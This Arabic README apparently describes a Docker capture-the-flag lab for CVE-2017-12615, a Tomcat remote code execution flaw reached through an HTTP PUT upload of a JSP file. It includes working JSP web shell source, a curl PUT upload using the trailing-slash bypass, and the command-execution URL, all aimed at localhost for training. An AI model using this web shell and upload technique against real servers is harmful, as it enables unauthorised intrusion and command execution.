CVE-2017-12615 Tomcat: تنفيذ الأكواد عن بُعد عبر رفع JSP

يحاكي هذا المختبر ثغرة CVE-2017-12615 Tomcat: تنفيذ الأكواد عن بُعد عبر رفع JSP
تنشأ الثغرة بسبب تعيين readonly=false، ما يسمح برفع الملفات عبر HTTP PUT، بما في ذلك ملفات .jsp التي يمكنها تنفيذ الأوامر (RCE).

الميزات

• Apache Tomcat 7.0.79 (نسخة قابلة للاستغلال)
• تجاوز إعداد DefaultServlet مع readonly=false
• إمكانية استخدام PUT Upload لوضع ملفات .jsp في دليل الويب ROOT
• دعم تنفيذ الأوامر عبر web shell
• صفحة ويب بأسلوب Industrial مع ملاحظة داخلية نُسِي حذفها (تلميح)
• إنشاء flag_RANDOM.txt تلقائيًا في كل مرة تبدأ فيها الحاوية
• مصممة لـ CTF / Red Team / التدريب على اختبار الاختراق

بنية الدليل

/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh

طريقة الاستخدام (تشغيل الحاوية)

docker compose build
docker compose up -d

افتح الموقع:

http://localhost:8080/

طريقة اختبار الثغرة CVE-2017-12615

1) إنشاء ملف JSP payload

cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF

2) رفع الملف باستخدام PUT (يجب إضافة / في نهاية اسم الملف)

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

3) استدعاء webshell

http://localhost:8080/shell.jsp?cmd=id

العلم

يُخزَّن في:

/tmp/flag_RANDOM.txt

النسخة الإنجليزية — CVE-2017-12615 Tomcat: تنفيذ الأكواد عن بُعد عبر رفع JSP

يحاكي هذا المختبر ثغرة CVE-2017-12615 Tomcat: تنفيذ الأكواد عن بُعد عبر رفع JSP، حيث يتم ضبط DefaultServlet في Apache Tomcat بشكل خاطئ على:

readonly=false

يتيح هذا للمهاجمين رفع ملفات .jsp عبر HTTP PUT، ما يسمح بتنفيذ الأكواد عن بُعد.

الميزات

• Apache Tomcat 7.0.79 نسخة قابلة للاستغلال
• تجاوز إعداد DefaultServlet مع readonly=false
• PUT Upload → كتابة ملفات .jsp عشوائية في دليل الويب ROOT
• يدعم تنفيذ الأوامر عبر JSP shell
• صفحة هبوط بأسلوب Industrial مع تلميح داخلي خفي
• إنشاء تلقائي لـ flag_RANDOM.txt عند بدء تشغيل الحاوية
• مناسبة لـ CTF والأبحاث وتطوير الاستغلالات

مثال على الاستغلال

رفع JSP shell

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

تنفيذ الأوامر

http://localhost:8080/shell.jsp?cmd=id

موقع العلم

/tmp/flag_RANDOM.txt

إخلاء مسؤولية

للاستخدام التعليمي والبحثي واختبار الاختراق المصرح به فقط.